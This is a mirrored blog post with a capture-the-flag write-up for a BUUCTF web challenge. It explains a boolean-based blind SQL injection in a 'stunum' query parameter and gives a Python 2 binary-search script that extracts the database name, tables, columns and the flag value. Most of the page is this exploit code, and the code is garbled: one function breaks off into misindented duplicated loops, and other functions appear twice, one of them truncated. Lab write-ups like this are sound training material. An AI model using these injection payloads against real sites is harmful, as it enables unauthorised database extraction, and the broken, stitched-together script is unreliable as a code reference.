zoukankan      html  css  js  c++  java
  • BUUCTF-[WUSTCTF2020]颜值成绩查询

    Analyze


    Entering different numbers will return different scores.Suspected of SQL injection.

    Judging by fuzzing that no special strings are filtered (except space).

    Use dichotomy SQL injection.

    payload like this:
    ?stunum=if((ascii(substr((select(database())),%d,1))>%d),1,0)"%(i,mid)
    ?stunum=if((ascii(substr((select(group_concat(table_name)from(information_schema.tables)where(table_schema=database_name))),%d,1))>%d),1,0)"%(i,mid)

    exp:

    It is worth mentioning that the flag is not in the 'flag' field but in the 'score' field.

    import requests
    
    url = "http://9947f438-fcd6-4b23-8a85-8ed0a71cf5c4.node3.buuoj.cn/"
    
    #ctf
    def database(url):
    	name = ''
    	for i in range(1,10000):
    		low = 32
    		high = 128
    		mid = (low + high) / 2
    		while low < high:
    			payload = url + "?stunum=if((ascii(substr((select(database())),%d,1))>%d),1,0)"%(i,mid)
    			r = requests.get(payload)
    			if "admin" in r.text:
    				low = mid + 1
    			else:
    				high = mid
    			mid = (low + high) / 2
    
    		if mid == 32:
    			break
    
    		name = name + chr(mid)
    		print "[*]" + name
    
    #flag,score
    def table(url):
    	# select group_concat(table_name) from ...
    	name = ''
    	for i in range(1,10000):
    		low = 32
    		high = 128
    		mid = (low + high) / 2
    		while low < high:
    			payload = url + "?stunum=if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1)))>%d,1,0)"%(i,mid)
    			r = requests.get(payload)
    			if "admin" in r.text:
    				low = mid + 1
    			else:
    				high = mid
    			mid = (low + high) / 2
    		if mid == 32:
            low = 32
            high = 128
            mid = (low + high) / 2
            while low < high:
                payload = url + "?stunum=if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1)))>%d,1,0)"%(i,mid)
                r = requests.get(payload)
                if "admin" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) / 2
            if mid == 32:
                break
            name = name + chr(mid)
            print "[*]" + name
    
    #flag value
    def column(url):
        name = ''
        for i in range(1,10000):
            low = 32
            high = 128
            mid = (low + high) / 2
            while low < high:
                payload = url + "?stunum=if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1)))>%d,1,0)"%(i,mid)
                r = requests.get(payload)
                if "admin" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) / 2
            if mid == 32:
                break
            name = name + chr(mid)
            print "[*]" + name
    
    def flag(url):
        name = ''
        for i in range(1,10000):
            low = 32
            high = 128
            mid = (low + high) / 2
            while low < high:
                payload = url + "?stunum=if((ascii(substr((select(group_concat(value))from(ctf.flag)),%d,1)))>%d,1,0)"%(i,mid)
                r = requests.get(payload)
                if "admin" in r.text:
                    low = mid + 1
                else:
                    high = mid
    			break
    		name = name + chr(mid)
    		print "[*]" + name
    
    #flag value
    def column(url):
    	name = ''
    	for i in range(1,10000):
    		low = 32
    		high = 128
    		mid = (low + high) / 2
    		while low < high:
    			payload = url + "?stunum=if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1)))>%d,1,0)"%(i,mid)
    			r = requests.get(payload)
    			if "admin" in r.text:
    				low = mid + 1
    			else:
    				high = mid
    			mid = (low + high) / 2
    		if mid == 32:
    			break
    		name = name + chr(mid)
    		print "[*]" + name
    
    def flag(url):
    	name = ''
    	for i in range(1,10000):
    		low = 32
    		high = 128
    		mid = (low + high) / 2
    		while low < high:
    			payload = url + "?stunum=if((ascii(substr((select(group_concat(value))from(ctf.flag)),%d,1)))>%d,1,0)"%(i,mid)
    			r = requests.get(payload)
    			if "admin" in r.text:
    				low = mid + 1
    			else:
    				high = mid
    			mid = (low + high) / 2
    		if mid == 32:
    			break
    		name = name + chr(mid)
    		print "[*]" + name
    
    flag(url)
    
  • 相关阅读:
    再次或多次格式化导致namenode的ClusterID和datanode的ClusterID之间不一致的问题解决办法
    Linux安装aria2
    POJ 3335 Rotating Scoreboard 半平面交
    hdu 1540 Tunnel Warfare 线段树 区间合并
    hdu 3397 Sequence operation 线段树 区间更新 区间合并
    hud 3308 LCIS 线段树 区间合并
    POJ 3667 Hotel 线段树 区间合并
    POJ 2528 Mayor's posters 贴海报 线段树 区间更新
    POJ 2299 Ultra-QuickSort 求逆序数 线段树或树状数组 离散化
    POJ 3468 A Simple Problem with Integers 线段树成段更新
  • 原文地址:https://www.cnblogs.com/lemon629/p/14403330.html
Copyright © 2011-2022 走看看